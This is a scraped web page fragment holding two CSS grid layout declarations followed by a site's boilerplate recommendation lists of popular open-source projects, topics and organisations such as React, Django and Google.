grid-template-rows: 100px;
grid-template-columns: 200px auto 200px;

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.